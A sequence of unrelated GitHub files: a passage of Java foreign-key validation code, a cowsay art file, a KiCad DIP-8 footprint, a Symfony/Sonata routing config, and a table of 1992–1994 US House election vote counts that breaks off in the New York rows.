部门id check. Long deptId = hrPerson.getDepartmentId(); if (deptId != null && !deptIds.contains(deptId)) { throwForeignKeyCheckFailureException(personList.synchronousFile().getTableName(), "departmentId", deptId, departmentList.synchronousFile().getTableName(), "departmentId"); } // 职位id check. Long jobId = hrPerson.getJobId(); if (jobId != null && !jobIds.contains(jobId)) { throwForeignKeyCheckFailureException(personList.synchronousFile().getTableName(), "jobId", jobId, jobList.synchronousFile().getTableName(), "jobId"); } // 部门manager id check. Long managerId = hrPerson.getManagerId(); if (managerId != null && !personIds.contains(managerId)) { throwForeignKeyCheckFailureException(personList.synchronousFile().getTableName(), "managerId", managerId, personList.synchronousFile().getTableName(), "personId"); } // companyId check. Long companyId = hrPerson.getCompanyId(); if (companyId != null && !leIds.contains(companyId)) { throwForeignKeyCheckFailureException(personList.synchronousFile().getTableName(), "companyId", companyId, legalEntityList.synchronousFile().getTableName(), "companyId"); } } } /** * 外键检测错误,抛出异常. */ private void throwForeignKeyCheckFailureException(String checkedTableName, String checkedFieldName, Object checkedFieldVal, String linkedTableName, String linkedFieldName) { StringBuilder msg = new StringBuilder(); msg.append("Check foreign key failure."); msg.append("The checked table name:").append(checkedTableName).append(","); msg.append("The checked field name:").append(checkedFieldName).append(","); msg.append("The checked field value:").append(checkedFieldVal).append(","); msg.append("The foreign linked table name:").append(linkedTableName).append("."); msg.append("The foreign linked field name:").append(linkedFieldName).append("."); ForeignKeyCheckFailureException fkc = new ForeignKeyCheckFailureException(msg.toString()); fkc.setCheckedTableName(checkedTableName); fkc.setCheckedFieldName(checkedFieldName); fkc.setCheckedFieldVal(checkedFieldVal); fkc.setLinkedTableName(linkedTableName); fkc.setLinkedFieldName(linkedFieldName); throw fkc; } }
{ "pile_set_name": "Github" }
# Venom (Spider-Man) # by Acclaim Entertainment (art from Spider-Man and Venom: Maximum Carnage) # Generated with Charc0al's cowsay file converter http://charc0al.github.io/cowsay-files/converter $x = "\e[49m "; #reset color $t = "$thoughts "; $a = "\e[48;5;232m "; $b = "\e[48;5;17m "; $c = "\e[48;5;18m "; $d = "\e[48;5;19m "; $e = "\e[48;5;243m "; $f = "\e[48;5;24m "; $g = "\e[48;5;7m "; $h = "\e[48;5;239m "; $i = "\e[48;5;248m "; $j = "\e[48;5;52m "; $k = "\e[48;5;31m "; $l = "\e[48;5;124m "; $the_cow = <<EOC $t $t $t $a $x $t $a $b$c$d$a$x $t $a$e$a $d$f$d$a$x $a $g$a $c$d $h$a$x $b$a$g$i$a$b$c $i$a$x $c$a$e$i$h$a$b$h$g$a$x $c$a$h$e $a$b$i $a$x $a $b$a $d$a$b$c$d$c$a$x $j $x $a $c$d$f$a$i$e$a$b$c$d $c$a$x $j $x $a$b$d$k$f$d$c$a$f$e$g$d $h$a $j $x $a $d$a$d$b$c$a $c$b$h$i$g $i$a$d$b$j $x $a $c$f$d $c$a $d$f$d$b$a$f$a$d$a$j $a$d$j$l $d$a$x $a $f$k$c$b$a $c$f$c$b$a$b$d$a$b$h$a$j$l $j $f$k$f$a$x $a$d$f$c$a $c$a$b$d$a $b $a $f$i$a $j $a$c$f$d$a$x $a$c$b$a $c$d$a$b$c$d$a$d$f$k$f$b$a$b$f$i$g$i$b$a$i$b$c$d$a$x $a $b$a $b$d$f$b$a$d$i$d$a $c$d$a $c$d$k$f$a$c$i$a$c$f$a$x $a$b$c$a$b $d$c$b$a $i$e$a $i$a $b$d$g$i$c$f$b$a$x $a$c$d$a$b$c $b$a $i$g$c$a $e$a $b$g$a$e$g $b$d$f$d$a$x $a$d$b$a $b $a $h$i$g$i$c$a $h$e $i $b$h$g $i$a$d$f $b$a$x $a$f$d$b$a$b$c$a $h $g $h$c$a $h$e$i$g$h$b$g $e$a$c$k $f$a$x $a$d$f$b$a$b$c$d$b$a $h$e$i$g $i$c$a $h$i $g $i$g $i$h$a$c$f$k$f$a$x $a$f$d$a$b$c$f $c$a $h $e$i$g $i$a $e$g$e$g $i$e$h$a$b$c$d $a $x $a$k$b$a$b$d$k$d$b$a $h $e $i $g$h$e$i$g $i$e$h $a $b$d$c$a $x $a$f$c$a$c$f $c$a $h $e$h$e$g$h$g$h $c$b$h $a $b$c$d $b$a$x $a$c$b$c$d$c$b$a $h $a $h$g $i$g$h$b$a $h$a $b $d$f $d$b$a$x $a $c$a$b $a $h $e$i $h$c$a $g$e$g$b$a $x$a$c$d$b$d$f$k$d $a$x $a$b$c$b $a $h$i $g$i$e$c$a $g$h$i$c $a $x $a$b$f$a$c$f$k $d$a$x $a$c$d$a$c$a $b$a$h $e$i $h$a $i$h$e$d$c$b$a$x $a$d$b$a$d$f$k $a $x $b$d$c$a$d$a$c$a$x$a$h $i$e$d$c$a$c$b$a $e$h $k$d$a $x $a$b$c$a$c$d$a $b$x $a$d$f$d$b $d$a$x $a$h$e$k$d$b$d$f $k$e$h$i$h$f$b$a$x $a $d$f$d$c$a$x $c$f$k$f$c$a$c$b$a$x $a$h$f$b$a$b$c$d $h $e$i$b $a$x $a $b$d$c$f $a$x $b$d$k$d$b$a$c$a$x $a$c$f$b$a $h $i$g$k$f$a$x $a$b$f$a $c$f$a$x $a$c$k$c$a $b$a$x $a$c$f$b$a$c$f$k $i$g $e$d$b$a$x $a $b$d $f$k$a$x $a$b$f$b$a $x $a$b$f$c$a $c$d$c$h $i$h$a $x $a $d$f $d$f$a$x $a $d$a $x $a $d $b$a$b$a $h $i $k$d$a$x $a $d$b$a$f$a$x $a $c$d$f$d$a$x $a$d$b$a$f $c$d$f$k$g $h$e$d$b$a $x $a $f $d$b$x $a $f $c$d$b$x $a$k$d$a$b$d$b$d$f $e$f $h$c$a$b $a$x $a $c$b $x $a$f$c$a $f$b$x $a$d$f$d$a$b$a$c$d $h$d $c$a $c$d$a $x $a $x $a$k$f$d $b$a$x $a$c$b $c$a$b$a $b $c $b$a $b$d$f$d$b$a$x $a$f$d$f $d$a$x $a$b$a $c $a $b$c$f$k$f$b$a$x $a$f$a$b$d$a $x $a $b$d$b$a $b$d$k $f$c$a$x $b$d$f $a $x $a $b $a $d$c$a $f$k $d$a$x $b $c$a $x $a $c$d$b$a $b$a $c$b$a $b$c$b$a $f$k$f$c$a$x $a $x $a$b$a $d$f$c$a $b$a $b$a $c$d $b$a $f$k$d$a$x $a$c$a$b$d$k$d$a$b$c$a $c$f$k$d$b$a$c$f $c$a$x $a$d$a$b$f$k$f$a$b$d$c$a $b$d$f$k$d$b$a$b$d$c$b$x $a$f$a$b$d$k$f$a$b$f$d$a$x$a $b$d$f $d$a $b$c$b$a$x $a$d$b$a$c$k$d$a$b$k$d$a$x $a $b$c$d$f$d$b$a$b $a$x EOC
{ "pile_set_name": "Github" }
(module DIP08 (layer F.Cu) (tedit 200000) (descr "DUAL IN LINE PACKAGE") (tags "DUAL IN LINE PACKAGE") (attr virtual) (fp_text reference >NAME (at -5.715 0 90) (layer F.SilkS) (effects (font (size 0.6096 0.6096) (thickness 0.127))) ) (fp_text value >VALUE (at 5.842 0 90) (layer F.SilkS) (effects (font (size 0.6096 0.6096) (thickness 0.127))) ) (fp_line (start 5.08 -2.54) (end -5.08 -2.54) (layer F.SilkS) (width 0.2032)) (fp_line (start -5.08 2.54) (end 5.08 2.54) (layer F.SilkS) (width 0.2032)) (fp_line (start 5.08 -2.54) (end 5.08 2.54) (layer F.SilkS) (width 0.2032)) (fp_line (start -5.08 -2.54) (end -5.08 -1.016) (layer F.SilkS) (width 0.2032)) (fp_line (start -5.08 2.54) (end -5.08 1.016) (layer F.SilkS) (width 0.2032)) (fp_line (start -6.18998 3.175) (end -6.17728 3.06832) (layer F.SilkS) (width 0.127)) (fp_line (start -6.17728 3.06832) (end -6.14172 2.96672) (layer F.SilkS) (width 0.127)) (fp_line (start -6.14172 2.96672) (end -6.08584 2.87782) (layer F.SilkS) (width 0.127)) (fp_line (start -6.08584 2.87782) (end -6.00964 2.80162) (layer F.SilkS) (width 0.127)) (fp_line (start -6.00964 2.80162) (end -5.92074 2.74574) (layer F.SilkS) (width 0.127)) (fp_line (start -5.92074 2.74574) (end -5.81914 2.71018) (layer F.SilkS) (width 0.127)) (fp_line (start -5.81914 2.71018) (end -5.715 2.69748) (layer F.SilkS) (width 0.127)) (fp_line (start -5.715 2.69748) (end -5.60832 2.71018) (layer F.SilkS) (width 0.127)) (fp_line (start -5.60832 2.71018) (end -5.50672 2.74574) (layer F.SilkS) (width 0.127)) (fp_line (start -5.50672 2.74574) (end -5.41782 2.80162) (layer F.SilkS) (width 0.127)) (fp_line (start -5.41782 2.80162) (end -5.34162 2.87782) (layer F.SilkS) (width 0.127)) (fp_line (start -5.34162 2.87782) (end -5.28574 2.96672) (layer F.SilkS) (width 0.127)) (fp_line (start -5.28574 2.96672) (end -5.25018 3.06832) (layer F.SilkS) (width 0.127)) (fp_line (start -5.25018 3.06832) (end -5.23748 3.175) (layer F.SilkS) (width 0.127)) (fp_line (start -5.23748 3.175) (end -5.25018 3.27914) (layer F.SilkS) (width 0.127)) (fp_line (start -5.25018 3.27914) (end -5.28574 3.38074) (layer F.SilkS) (width 0.127)) (fp_line (start -5.28574 3.38074) (end -5.34162 3.46964) (layer F.SilkS) (width 0.127)) (fp_line (start -5.34162 3.46964) (end -5.41782 3.54584) (layer F.SilkS) (width 0.127)) (fp_line (start -5.41782 3.54584) (end -5.50672 3.60172) (layer F.SilkS) (width 0.127)) (fp_line (start -5.50672 3.60172) (end -5.60832 3.63728) (layer F.SilkS) (width 0.127)) (fp_line (start -5.60832 3.63728) (end -5.715 3.64998) (layer F.SilkS) (width 0.127)) (fp_line (start -5.715 3.64998) (end -5.81914 3.63728) (layer F.SilkS) (width 0.127)) (fp_line (start -5.81914 3.63728) (end -5.92074 3.60172) (layer F.SilkS) (width 0.127)) (fp_line (start -5.92074 3.60172) (end -6.00964 3.54584) (layer F.SilkS) (width 0.127)) (fp_line (start -6.00964 3.54584) (end -6.08584 3.46964) (layer F.SilkS) (width 0.127)) (fp_line (start -6.08584 3.46964) (end -6.14172 3.38074) (layer F.SilkS) (width 0.127)) (fp_line (start -6.14172 3.38074) (end -6.17728 3.27914) (layer F.SilkS) (width 0.127)) (fp_line (start -6.17728 3.27914) (end -6.18998 3.175) (layer F.SilkS) (width 0.127)) (fp_arc (start -5.08 0) (end -5.08 -1.016) (angle 180) (layer F.SilkS) (width 0.2032)) (pad 1 thru_hole circle (at -3.81 3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) (pad 2 thru_hole circle (at -1.27 3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) (pad 3 thru_hole circle (at 1.27 3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) (pad 4 thru_hole circle (at 3.81 3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) (pad 5 thru_hole circle (at 3.81 -3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) (pad 6 thru_hole circle (at 1.27 -3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) (pad 7 thru_hole circle (at -1.27 -3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) (pad 8 thru_hole circle (at -3.81 -3.81) (size 1.6256 1.6256) (drill 0.8128) (layers *.Cu *.Mask) (solder_mask_margin 0.1016)) )
{ "pile_set_name": "Github" }
sonata_user_security: resource: "@SonataUserBundle/Resources/config/routing/admin_security.xml" prefix: /admin sonata_user_resetting: resource: "@SonataUserBundle/Resources/config/routing/admin_resetting.xml" prefix: /admin/resetting fos_user_security: resource: "@FOSUserBundle/Resources/config/routing/security.xml" fos_user_profile: resource: "@FOSUserBundle/Resources/config/routing/profile.xml" prefix: /profile fos_user_register: resource: "@FOSUserBundle/Resources/config/routing/registration.xml" prefix: /register fos_user_resetting: resource: "@FOSUserBundle/Resources/config/routing/resetting.xml" prefix: /resetting fos_user_change_password: resource: "@FOSUserBundle/Resources/config/routing/change_password.xml" prefix: /profile sonata_cache_cache: resource: '@SonataCacheBundle/Resources/config/routing/cache.xml' prefix: / sonata_page_cache: resource: '@SonataPageBundle/Resources/config/routing/cache.xml' prefix: / sonata_page_exceptions: resource: '@SonataPageBundle/Resources/config/routing/exceptions.xml' prefix: /page sonata_media_gallery: resource: '@SonataMediaBundle/Resources/config/routing/gallery.xml' prefix: /media/gallery sonata_media_media: resource: '@SonataMediaBundle/Resources/config/routing/media.xml' prefix: /media sonata_customer: resource: '@SonataCustomerBundle/Resources/config/routing/customer.xml' prefix: /shop/user sonata_basket: resource: '@SonataBasketBundle/Resources/config/routing/basket.xml' prefix: /shop/basket sonata_order: resource: '@SonataOrderBundle/Resources/config/routing/order.xml' prefix: /shop/user/order sonata_product_catalog: resource: '@SonataProductBundle/Resources/config/routing/catalog.xml' prefix: /shop/catalog sonata_product: resource: '@SonataProductBundle/Resources/config/routing/product.xml' prefix: /shop/product sonata_payment: resource: '@SonataPaymentBundle/Resources/config/routing/payment.xml' prefix: /shop/payment sonata_invoice: resource: '@SonataInvoiceBundle/Resources/config/routing/invoice.xml' prefix: /shop/user/invoice blog: resource: '@SonataNewsBundle/Resources/config/routing/news.xml' prefix: /blog fos_comment: type: rest resource: "@FOSCommentBundle/Resources/config/routing.yml" prefix: /comments defaults: { _format: html }
{ "pile_set_name": "Github" }
STATE$ STATE DISTRICT DVOTE92 RVOTE92 OTHER92 DWIN92 CONTST94 DVOTE94 RVOTE94 OTHER94 Alabama 41 1 78742 128874 6548 0 1 49671 101956 0 Alabama 41 2 109335 112906 5906 0 1 44694 124525 0 Alabama 41 3 119175 73800 4570 1 1 93795 53706 0 Alabama 41 4 157907 66934 5646 1 0 -9 -9 0 Alabama 41 5 160060 77951 6006 1 1 88542 86717 0 Alabama 41 6 126062 146599 7357 0 1 40659 152757 0 Alabama 41 7 144320 36086 27367 1 1 113985 34649 0 Alaska 81 98 102378 111849 24889 0 1 58601 101839 18112 Arizona 61 1 130715 113613 10461 1 1 68661 97513 8683 Arizona 61 2 90693 41257 5423 1 1 59925 31411 4870 Arizona 61 3 88830 158906 10767 0 1 60903 141600 0 Arizona 61 4 70572 156330 37164 0 1 68055 111961 7190 Arizona 61 5 77256 172867 9690 0 1 58906 139330 7337 Arizona 61 6 124251 97074 13047 1 1 80362 105005 7570 Arkansas 42 1 149558 64618 0 1 1 94841 82053 0 Arkansas 42 2 154946 53978 0 1 1 97463 72419 0 Arkansas 42 3 117775 125295 6329 0 1 61766 129623 0 Arkansas 42 4 102918 113009 0 0 1 81372 87461 0 California 71 1 119676 113266 18264 1 1 88242 100819 -9 California 71 2 71780 167247 17529 0 1 53229 131775 20060 California 71 3 122149 96092 20444 1 1 86825 83729 7461 California 71 4 129489 141155 12705 0 1 75134 132482 8168 California 71 5 158250 58698 13608 1 1 118463 50363 4438 California 71 6 190322 98171 3141 1 1 125117 81342 9313 California 71 7 153320 54822 9840 1 1 107794 42154 4430 California 71 8 191906 25693 15083 1 1 119095 26232 0 California 71 9 164265 53707 10472 1 1 117818 36914 8369 California 71 10 134635 145702 0 0 1 82555 126295 4459 California 71 11 90539 94453 13498 0 1 48833 86252 4221 California 71 12 157205 53278 17924 1 1 102273 49580 0 California 71 13 123795 64953 16768 1 1 88999 42026 7163 California 71 14 146873 101202 11132 1 1 109149 70801 0 California 71 15 168617 82875 13878 1 1 109475 74455 0 California 71 16 96661 49843 9370 1 1 68778 37359 0 California 71 17 151565 49947 8855 1 1 76521 66537 4903 California 71 18 139704 0 25307 1 1 79767 39690 3465 California 71 19 101619 100590 14432 1 1 64246 92979 5830 California 71 20 72679 39388 0 1 1 47857 37682 0 California 71 21 68058 127758 149 0 1 41599 104472 61132 California 71 22 87328 131242 31252 0 1 89643 90612 4127 California 71 23 88225 115504 9091 0 1 41453 99022 9800 California 71 24 141742 99835 13690 1 1 84080 80879 5493 California 71 25 72233 113611 32871 0 1 47554 97613 5587 California 71 26 73807 36453 10648 1 1 48840 25101 4112 California 71 27 83805 105521 23122 0 1 61967 75566 7301 California 71 28 76525 122353 10504 0 1 45402 99342 3757 California 71 29 160312 67141 34032 1 1 113023 46226 6350 California 71 30 48800 20034 14709 1 1 38712 16269 3343 California 71 31 68324 40873 0 1 1 45503 31156 0 California 71 32 150644 0 22166 1 1 88007 19469 5559 California 71 33 32010 15428 3341 1 0 30350 0 6953 California 71 34 91738 50907 7072 1 1 65598 36039 4492 California 71 35 102941 17417 4415 1 1 60446 16802 0 California 71 36 125751 109684 24320 1 1 82322 82415 7930 California 71 37 97159 0 16178 1 0 58693 0 16777 California 71 38 82108 92038 15147 0 1 47672 76399 6219 California 71 39 81728 122472 9484 0 1 46169 105602 7410 California 71 40 63881 129563 11839 0 1 46360 111738 0 California 71 41 58777 101753 10136 0 1 47271 77393 0 California 71 42 79780 69251 8424 1 1 56924 54496 0 California 71 43 88468 88987 13184 0 1 54129 77152 8887 California 71 44 81693 110333 11515 0 1 60134 87728 10043 California 71 45 88508 123731 14777 0 1 51964 116177 0 California 71 46 45435 55659 9712 0 1 29976 46460 4706 California 71 47 76924 165004 12297 0 1 49557 143060 6809 California 71 48 67415 140935 22145 0 1 40150 132319 7914 California 71 49 127280 106170 15444 1 1 79029 83743 9525 California 71 50 77293 39531 19739 1 1 55015 34119 7737 California 71 51 85148 141890 25944 0 1 51785 124557 10084 California 71 52 88076 112995 12711 0 1 48411 99825 7332 Colorado 62 1 156629 70902 0 1 1 91568 61304 0 Colorado 62 2 164790 88470 18101 1 1 105643 81304 0 Colorado 62 3 114480 143293 4189 0 1 63280 145301 0 Colorado 62 4 101957 139884 0 0 1 52567 137729 0 Colorado 62 5 62550 173096 7769 0 0 -9 -9 -9 Colorado 62 6 91073 142021 0 0 1 49701 124079 3929 Connecticut 1 1 164735 75113 5577 1 1 127305 44210 2993 Connecticut 1 2 123291 119416 0 1 1 79169 79167 27729 Connecticut 1 3 162568 84952 0 1 1 105065 60372 0 Connecticut 1 4 58666 147816 13124 0 1 32128 97977 2206 Connecticut 1 5 74791 104891 60601 0 1 80039 92212 4047 Connecticut 1 6 60373 166967 12257 0 1 60145 121895 9035 Delaware 11 98 117426 153037 5661 0 1 51784 137646 5252 Florida 43 1 118753 100136 9320 1 1 67191 106140 0 Florida 43 2 167151 60378 0 1 1 115748 72050 0 Florida 43 3 91877 63070 0 1 1 62650 45390 0 Florida 43 4 103484 135772 0 0 0 -9 -9 -9 Florida 43 5 129678 114331 19459 1 1 125780 94093 0 Florida 43 6 76396 144120 0 0 0 -9 -9 -9 Florida 43 7 96926 125790 213 0 1 47742 131705 0 Florida 43 8 65132 141925 0 0 0 -9 -9 -9 Florida 43 9 110023 157822 0 0 0 -9 -9 -9 Florida 43 10 114637 149347 0 0 0 -9 -9 -9 Florida 43 11 100962 77625 12729 1 1 76774 72062 0 Florida 43 12 92333 100468 0 0 1 57018 105737 0 Florida 43 13 115741 158836 0 0 0 -9 -9 -9 Florida 43 14 0 220324 48156 0 0 -9 -9 -9 Florida 43 15 132385 128830 0 1 1 100512 117026 0 Florida 43 16 101217 157253 0 0 1 88646 122734 0 Florida 43 17 102732 0 0 1 0 -9 -9 -9 Florida 43 18 52095 104715 0 0 0 -9 -9 -9 Florida 43 19 177411 103848 0 1 1 147591 75779 0 Florida 43 20 130946 91573 15340 1 1 114615 72516 0 Florida 43 21 -9 -9 -9 0 0 -9 -9 -9 Florida 43 22 91605 128376 27050 0 1 69215 119690 0 Florida 43 23 84232 44800 14873 1 0 -9 -9 -9 Georgia 44 1 75808 103932 0 0 1 27671 88658 0 Georgia 44 2 95789 54593 0 1 1 64980 33415 0 Georgia 44 3 94271 114107 0 0 1 43575 84372 0 Georgia 44 4 123819 126495 0 0 1 66366 90063 0 Georgia 44 5 147445 56960 0 1 1 85094 37999 0 Georgia 44 6 116196 158761 0 0 1 66681 119550 0 Georgia 44 7 111374 82915 0 1 1 65481 70801 0 Georgia 44 8 108472 96220 0 1 1 52977 88977 0 Georgia 44 9 113024 77919 0 1 1 78892 57477 0 Georgia 44 10 108426 93059 0 1 1 51192 99511 0 Georgia 44 11 120168 44221 0 1 1 71697 37502 0 Hawaii 82 1 129332 41575 6569 1 1 94754 76623 5329 Hawaii 82 2 131454 40070 9431 1 1 124431 42891 10074 Idaho 63 1 140985 90983 10822 1 1 89824 111768 0 Idaho 63 2 81450 139783 8724 0 1 48412 143099 0 Illinois 21 1 209258 43453 0 1 1 107000 34807 0 Illinois 21 2 182614 31957 19293 1 0 -9 -9 -9 Illinois 21 3 162165 93128 0 1 1 90699 77125 0 Illinois 21 4 90452 26154 0 1 1 44235 14699 0 Illinois 21 5 132889 90738 8456 1 1 61152 73340 0 Illinois 21 6 86891 165009 0 0 1 37017 115286 4524 Illinois 21 7 182811 35346 7124 1 1 86894 23156 0 Illinois 21 8 96419 132887 9327 0 1 47539 88084 0 Illinois 21 9 162942 64760 12001 1 1 92794 47469 0 Illinois 21 10 85400 155230 0 0 1 38152 114806 0 Illinois 21 11 135387 107860 0 1 1 62779 96986 0 Illinois 21 12 168762 68115 0 1 1 101391 52417 0 Illinois 21 13 82985 179257 0 0 1 45709 124312 0 Illinois 21 14 75294 155271 0 0 1 33885 109681 0 Illinois 21 15 97190 142167 229 0 1 50874 108857 0 Illinois 21 16 113555 142388 0 0 1 48736 117238 0 Illinois 21 17 156233 103719 0 1 1 95312 79471 0 Illinois 21 18 156533 114413 0 1 1 78332 119838 0 Illinois 21 19 187156 83526 0 1 1 115045 81995 0 Illinois 21 20 154869 119219 0 1 1 108034 88964 0 Indiana 22 1 147054 64770 0 1 1 67527 52233 0 Indiana 22 2 130881 90593 7821 1 1 78241 93592 0 Indiana 22 3 121269 89834 0 1 1 72491 58878 0 Indiana 22 4 134907 82468 0 1 1 70744 87665 0 Indiana 22 5 107973 112492 0 0 1 45180 110917 3400 Indiana 22 6 71952 186499 0 0 1 40244 134471 0 Indiana 22 7 88005 129189 0 0 1 55856 102140 0 Indiana 22 8 125244 108054 5099 1 1 84751 93167 0 Indiana 22 9 160980 70057 0 1 1 90148 83642 0 Indiana 22 10 117604 64378 1849 1 1 55491 48363 0 Iowa 31 1 81600 178042 1667 0 1 69240 109975 3491 Iowa 31 2 131570 134536 1757 0 1 86024 110639 1038 Iowa 31 3 121063 125931 10181 0 1 78251 110528 2126 Iowa 31 4 158610 94045 4938 1 1 97513 110522 2223 Iowa 31 5 0 196942 1424 0 1 72525 112908 0 Kansas 32 1 83620 194912 6765 0 1 49246 168066 0 Kansas 32 2 151019 109801 7986 1 1 70958 135617 0 Kansas 32 3 110076 169929 12791 0 1 78207 102107 0 Kansas 32 4 143671 117070 17275 1 1 98801 111105 0 Kentucky 51 1 128524 83088 962 1 1 62225 64659 0 Kentucky 51 2 126894 79684 0 1 1 60797 90363 0 Kentucky 51 3 148066 132689 0 1 1 67637 67210 17577 Kentucky 51 4 86890 139634 0 0 1 33713 96464 0 Kentucky 51 5 95760 115255 0 0 1 21309 82276 0 Kentucky 51 6 135613 87816 0 1 1 70082 49030 0 Louisiana 45 1 -9 -9 -9 0 0 -9 -9 -9 Louisiana 45 2 -9 -9 -9 1 0 -9 -9 -9 Louisiana 45 3 -9 -9 -9 1 0 -9 -9 -9 Louisiana 45 4 -9 -9 -9 1 0 -9 -9 -9 Louisiana 45 5 90079 153501 0 0 0 -9 -9 -9 Louisiana 45 6 -9 -9 -9 0 0 -9 -9 -9 Louisiana 45 7 -9 -9 -9 1 0 -9 -9 -9 Maine 2 1 232696 125236 216 1 1 125467 136560 0 Maine 2 2 130824 153022 27526 0 1 108793 96952 33271 Maryland 52 1 112771 120084 0 0 1 55725 115838 0 Maryland 52 2 88658 165443 0 0 1 72333 121165 0 Maryland 52 3 163354 58869 0 1 1 113009 46231 0 Maryland 52 4 136902 45166 0 1 1 91021 29620 0 Maryland 52 5 118312 97982 6990 1 1 95550 66765 0 Maryland 52 6 106224 125564 0 0 1 61031 118297 0 Maryland 52 7 152689 26304 0 1 1 93170 21879 0 Maryland 52 8 77042 203377 0 0 1 58476 138010 0 Mass-9 3 1 135049 113828 13115 1 0 -9 -9 -9 Mass-9 3 2 131215 76795 39153 1 1 114826 71018 9901 Mass-9 3 3 115587 131473 13821 0 1 93704 116704 2382 Mass-9 3 4 182633 70665 16467 1 0 -9 -9 -9 Mass-9 3 5 133844 96206 26514 1 1 141144 60628 0 Mass-9 3 6 130248 159165 899 0 1 113289 120743 4939 Mass-9 3 7 174837 78262 28421 1 1 145966 80629 0 Mass-9 3 8 149903 0 30581 1 0 -9 -9 -9 Mass-9 3 9 175550 54291 23721 1 1 143530 60737 0 Mass-9 3 10 189342 75887 46391 1 1 171585 78055 0 Michigan 23 1 144857 117056 6664 1 1 121138 89745 2407 Michigan 23 2 86265 155577 4840 0 1 46184 146666 1888 Michigan 23 3 95927 162451 6460 0 1 43485 135819 4772 Michigan 23 4 87573 157337 6618 0 1 49899 143821 2705 Michigan 23 5 147618 93098 4270 1 1 126522 61385 5338 Michigan 23 6 89020 144083 0 0 1 42373 121925 1694 Michigan 23 7 0 133972 18896 0 1 57393 113721 5534 Michigan 23 8 135517 131906 17270 1 1 95383 109663 7424 Michigan 23 9 133956 111798 3763 1 1 97024 89091 3236 Michigan 23 10 138193 114918 7098 1 1 121516 73671 0 Michigan 23 11 117725 168940 6413 0 1 69337 155158 2940 Michigan 23 12 137514 119357 4475 1 1 103420 92625 2860 Michigan 23 13 127642 105169 13067 1 1 87445 75889 5057 Michigan 23 14 165496 32036 3339 1 1 129850 26417 2967 Michigan 23 15 148908 31849 4200 1 1 119328 20039 2486 Michigan 23 16 156964 75694 8277 1 1 105301 70429 1962 Minnesota 33 1 206369 72367 0 1 1 93234 115328 0 Minnesota 33 2 132156 131587 12146 1 1 118077 103233 6615 Minnesota 33 3 104606 200240 9164 0 1 62193 173190 0 Minnesota 33 4 159796 101744 15988 1 1 115775 88302 6211 Minnesota 33 5 174139 77093 25083 1 1 121507 73258 0 Minnesota 33 6 100016 133564 67140 0 1 113736 113187 0 Minnesota 33 7 133886 130396 0 1 1 108025 102653 0 Minnesota 33 8 167104 82823 31221 1 1 153152 79767 0 Mississippi 46 1 121664 82952 0 1 1 46443 80108 0 Mississippi 46 2 133361 41248 0 1 1 66224 48508 9356 Mississippi 46 3 162864 37710 0 1 1 80038 38516 0 Mississippi 46 4 130927 43705 19912 1 1 81316 37458 0 Mississippi 46 5 120766 67619 2673 1 1 71720 47530 0 Missouri 34 1 158693 74482 0 1 1 97191 50426 5664 Missouri 34 2 148729 157594 6119 0 1 70488 154895 4925 Missouri 34 3 174000 90006 7828 1 1 117598 70488 5362 Missouri 34 4 176977 74475 0 1 1 138351 66308 0 Missouri 34 5 151014 93562 10736 1 1 100059 76807 0 Missouri 34 6 148887 119637 0 1 1 140074 71619 0 Missouri 34 7 99762 160303 0 0 1 77040 110397 5802 Missouri 34 8 86730 147398 0 0 1 49897 129728 6410 Missouri 34 9 124694 118811 17830 1 1 98401 86883 8848 Montana 64 98 203711 189570 10454 1 1 167178 145312 31483 Nebraska 35 1 96309 142713 0 0 1 69946 117014 0 Nebraska 35 2 119512 113828 0 1 1 89839 91658 0 Nebraska 35 3 67457 170857 0 0 1 41766 153492 0 Nevada 65 1 128278 84217 8993 1 1 72332 73768 6065 Nevada 65 2 117199 129575 23687 0 1 65291 141943 16305 NH 4 1 108578 135936 11339 0 1 42919 97658 8195 NH 4 2 157328 91126 6634 1 1 74098 82919 4268 NewJersey 12 1 153525 65123 9424 1 1 105196 40301 0 NewJersey 12 2 132465 98315 6247 1 1 55636 101455 0 NewJersey 12 3 94012 151368 10418 0 1 53000 112296 4024 NewJersey 12 4 84514 149095 7616 0 1 48723 107617 2831 NewJersey 12 5 67579 196198 10594 0 1 41042 139217 7227 NewJersey 12 6 118266 100949 6878 1 1 89049 55235 3132 NewJersey 12 7 105761 132174 10147 0 1 61819 93733 2704 NewJersey 12 8 96742 84674 24412 1 1 67879 69886 2297 NewJersey 12 9 139188 88179 10822 1 1 99202 57396 2226 NewJersey 12 10 117287 30160 2185 1 1 72345 20858 2104 NewJersey 12 11 68871 188165 11400 0 1 50036 127626 1483 NewJersey 12 12 83035 174216 15506 0 1 56087 124581 2349 NewJersey 12 13 93670 44529 7515 1 1 67169 23726 3685 NewMexico 66 1 76600 128426 188 0 1 39791 110255 0 NewMexico 66 2 73157 94838 175 0 1 45381 89511 6880 NewMexico 66 3 122850 54569 4798 1 1 99306 53052 3660 NewYork 13 1 117940 110043 0 1 1 78620 90036 1522 NewYork 13 2 96328 109386 0 0 1 40520 97745 5732 NewYork 13 3 116915 124727 9980 0 1 76701 114787 1756 NewYork 13 4 100386 110710 9548 0 1 64536 86613 21722 NewYork 13 5 110476 94907 5448 1 1 91177 72630 3007 NewYork 13 6 96972 22687 0 1 1 66414 16329 0 NewYork 13 7 72280 54639 0 1 0 56608 0 8134 NewYork 13 8 138296 25548 6404 1 1 101693 20543 2847 NewYork 13 9 116545 14985 14985 1 1 91250 36653 0 NewYork 13 10 97509 4315 4315 1 1 72479 7617 1492 NewYork 13 11 80028 4287 5466 1 1 59068 6551 1081 NewYork 13 12 55926 14976 2165 1 0 38324 0 3321 NewYork 13 13 73520 107903 10825 0 1 33456 93393 4539 NewYork 13 14 101652 97215 2970 1 1 92390 52754 1310 NewYork 13 15 105011 0 5682 1 0 73517 0 2816 NewYork 13 16 85222 7975 0 1 0 57245 0 1371 NewYork 13 17 98068 16511 7802 1 1 66838 16138 7073 NewYork 13 18 115841 92687 0 1 1 83965 60359 